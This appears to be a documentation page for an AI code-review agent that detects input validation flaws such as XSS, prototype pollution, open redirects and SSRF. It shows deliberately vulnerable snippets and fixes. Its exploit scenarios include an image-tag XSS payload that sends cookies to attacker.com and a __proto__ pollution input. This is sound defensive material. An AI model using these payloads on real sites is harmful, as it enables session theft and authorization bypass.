AgileFlow

Input Validation Vulnerabilities

PreviousNext

Input validation analyzer for XSS, prototype pollution, open redirect, SSRF, file upload vulnerabilities, unsafe deserialization, and ReDoS

Input Validation Vulnerabilities

The Security Analyzer: Input Validation Vulnerabilities is a specialized security analyzer focused on input validation vulnerabilities. It finds weaknesses where untrusted user input is processed without proper validation or sanitization, enabling attacks like XSS, SSRF, or prototype pollution.

When to Use

Use this agent when:

  • You need to find XSS vulnerabilities in DOM manipulation or template rendering
  • You want to identify prototype pollution in object merging operations
  • You're checking for open redirect vulnerabilities in URL handling
  • You need to detect SSRF risks in server-side HTTP requests
  • You want to find file upload vulnerabilities without type/size validation
  • You're analyzing for unsafe deserialization of untrusted data
  • You need to check regular expressions for ReDoS (Regular Expression Denial of Service)

How It Works

  1. Reads target code - Focuses on template rendering, DOM manipulation, object merging, URL construction, file uploads, and deserialization operations
  2. Identifies patterns - Looks for dangerouslySetInnerHTML, innerHTML, unescaped output, object spread operators with user data, unvalidated redirects, and unsafe regex patterns
  3. Reports findings - Generates structured findings with specific locations, severity levels, exploit scenarios, and suggested fixes
  4. Validates safeguards - Checks for framework escaping, allowlist validation, and input type checking

Focus Areas

  • XSS (Cross-Site Scripting): dangerouslySetInnerHTML, innerHTML, v-html, document.write, unescaped output in templates
  • Prototype pollution: Object.assign, spread operators, deep merge with user-controlled keys (e.g., __proto__, constructor)
  • Open redirect: Redirects using user-controlled URLs without allowlist validation
  • SSRF (Server-Side Request Forgery): Server-side HTTP requests using user-supplied URLs
  • File upload vulnerabilities: No type/size validation, executable file upload, path traversal in filenames
  • Unsafe deserialization: pickle.loads, yaml.load (unsafe), eval, Function(), JSON.parse of untrusted complex objects
  • ReDoS (Regular Expression Denial of Service): Catastrophic backtracking in regexes processing user input

Tools Available

This agent has access to: Read, Glob, Grep

Example Analysis

Given this code:

// VULN: User content rendered as HTML without escaping
<div dangerouslySetInnerHTML={{ __html: userComment }} />
 
// VULN: Unvalidated redirect
app.get('/redirect', (req, res) => {
  res.redirect(req.query.url); // attacker: ?url=https://evil.com
});
 
// VULN: Deep merge without prototype key filtering
function deepMerge(target, source) {
  for (const key in source) {
    target[key] = source[key]; // __proto__ or constructor can be set
  }
}

The Input Validation analyzer would identify:

Finding: Stored XSS via dangerouslySetInnerHTML

Location: components/CommentDisplay.tsx:15 Severity: HIGH Confidence: HIGH CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation) OWASP: A03:2021 Injection

Issue: User-supplied comment text is rendered directly as HTML without escaping. An attacker can inject malicious scripts that execute in other users' browsers.

Exploit Scenario:

  • Input: <img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)"/>
  • Result: Script executes when comment is viewed, stealing user's session cookie

Remediation:

// SAFE: Use React's built-in escaping
<div>{userComment}</div>
 
// OR: Explicitly escape HTML
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userComment) }} />

Finding: Prototype pollution via deep merge

Location: utils/merge.ts:8 Severity: HIGH Confidence: HIGH CWE: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes) OWASP: A03:2021 Injection

Issue: The deepMerge function allows setting __proto__ or constructor.prototype properties, polluting the global object prototype and affecting all objects.

Exploit Scenario:

  • Input: { "__proto__": { "isAdmin": true } }
  • Result: All subsequent objects inherit isAdmin: true, bypassing authorization checks

Remediation:

// SAFE: Filter out prototype-related keys
function deepMerge(target, source) {
  for (const key in source) {
    if (key !== '__proto__' && key !== 'constructor' && key !== 'prototype') {
      target[key] = source[key];
    }
  }
}

Best Practices

  • Use framework auto-escaping for template output (React JSX, Angular, Go html/template)
  • Avoid dangerouslySetInnerHTML unless using a sanitizer like DOMPurify
  • Use textContent instead of innerHTML for plain text
  • Validate and allowlist redirect URLs (never redirect to user input)
  • Restrict server-side HTTP requests to allowlisted domains
  • Validate file uploads: check MIME type, size, and sanitize filenames
  • Use JSON.parse for JSON deserialization; avoid eval() and Function()
  • Avoid nested quantifiers in regular expressions processing user input
  • Use parameterized queries instead of string concatenation for any data store

Output Format

For each potential issue, the agent provides:

  • Location: Exact file path and line number
  • Severity: CRITICAL (RCE/data theft), HIGH (stored XSS/SSRF), MEDIUM (reflected XSS/redirect), LOW (hardening)
  • Confidence: HIGH, MEDIUM, or LOW
  • CWE: Standard CWE identifier
  • OWASP: OWASP Top 10 category
  • Code: Relevant code snippet
  • Issue: Clear explanation of how untrusted input is processed unsafely
  • Exploit Scenario: Specific input that triggers the vulnerability with expected impact
  • Remediation: Corrected approach with code example

Example Usage

Task(
  description: "Analyze input handling for XSS and injection",
  prompt: "Review src/ui/ and src/api/ for input validation vulnerabilities. Focus on DOM manipulation, redirects, and object merging.",
  subagent_type: "agileflow-security-analyzer-input"
)

Related Agents